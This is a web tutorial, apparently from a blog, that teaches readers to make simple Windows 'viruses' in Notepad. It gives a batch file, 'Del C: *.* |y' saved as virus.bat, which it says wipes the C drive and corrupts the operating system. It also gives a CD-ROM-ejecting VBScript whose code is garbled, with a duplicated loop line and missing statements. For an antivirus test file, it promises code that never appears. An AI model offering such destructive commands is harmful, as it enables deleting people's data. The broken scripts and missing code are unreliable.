Make A Computer Virus

Today Every single person who knows about the internet also knows what is a Virus. We are hearing about it from the time when we started to use Computers. Everyone has been just like ‘don’t do this or do that’ otherwise a virus would come to my PC and destroy all the data. A virus is actually a malicious program which can enter into your Laptop or PC without your permission and can easily affect your operating system and all the data in it. Well, all the viruses are not of the same type. There are many kinds of viruses like Trojan Horses and so much more. We always try to get rid of them by using many Antivirus programs. But do you ever think to create a computer virus?? Maybe you did or maybe not. So if you want to know how to make a computer virus, you just need to follow the simple steps which are given below.

You don’t have to become a technical expert to make a virus. This method will hardly take a minute to create a virus. But please don’t use this method to harm someone’s Computer. This tutorial is just for Knowledge purpose. So just read it. Don’t use it.

How To Make A Computer Virus In Less Than A Minute

1. Creating a Dangerous Virus

  • To create this kind of virus, first open Notepad on your Windows.

  • After that, just copy and paste the given code into your Notepad.
@Echo off
Del C: *.* |y

  • Now save the file as virus.bat. You can choose any name you want to save a file but .bat must be used after that.

So when you will run this file, your c drive will delete completely and OS of your computer will also get corrupted.

NOTE: Don’t try this on your computer, you might lose all your data. Let me remind you again this method is just for knowledge purpose.

2. Creating a Harmless CD-ROM Virus

To make this one, open your Notepad and copy paste the given code in it. After that save the file as CD-ROM.vbs or any name with .vbs

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
End If
wscript.sleep 5000

You will be amazed to see the result when you will run this file. Your CD or DVD drive will continuously get ejected.

So if you want to stop the virus. Just follow this.

Task Manager >  Select Process Tab > End wscript.exe file.

3. Create Virus To Test Your Antivirus

First, open the Notepad and paste the code which is given below. Now simply just save the file as EICAR.COM.


If your antivirus is active then it will easily remove this virus and you will get to know that your antivirus is running well.

Feel free to share the article with others. You can tell us your queries by leaving a comment below. We will surely respond.


Please enter your comment!
Please enter your name here